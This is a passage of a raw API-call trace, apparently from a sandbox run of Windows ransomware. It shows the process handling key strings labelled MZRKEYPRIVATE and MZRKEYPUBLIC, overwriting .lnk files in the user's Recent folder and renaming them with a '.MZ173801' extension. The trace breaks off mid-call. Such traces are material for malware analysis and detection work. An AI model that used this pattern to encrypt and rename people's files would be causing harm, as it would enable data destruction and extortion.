(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk", dwFileAttributes=0x80) returned 1 [0150.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.845] GetCurrentThreadId () returned 0xab4 [0150.845] GetCurrentThreadId () returned 0xab4 [0150.845] GetCurrentThreadId () returned 0xab4 [0150.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.847] GetCurrentThreadId () returned 0xab4 [0150.847] GetCurrentThreadId () returned 0xab4 [0150.847] GetCurrentThreadId () returned 0xab4 [0150.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3d3 [0150.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.847] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3d3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3d3, lpOverlapped=0x0) returned 1 [0150.849] CloseHandle (hObject=0x280) returned 1 [0150.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.851] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3d3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3d3, lpOverlapped=0x0) returned 1 [0150.852] CloseHandle (hObject=0x280) returned 1 [0150.857] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nuPKgeB MAKEYlr.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\nupkgeb makeylr.lnk.mz173801")) returned 1 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] GetCurrentThreadId () returned 0xab4 [0150.858] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e4600b1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e4600b1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e46154f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oc9w vNlFm_eUy1Ryd4.lnk", cAlternateFileName="OC9WVN~1.LNK")) returned 1 [0150.858] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.858] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e4600b1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e4600b1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e46154f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b5)) returned 1 [0150.858] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk")) returned 0x20 [0150.858] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk", dwFileAttributes=0x80) returned 1 [0150.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 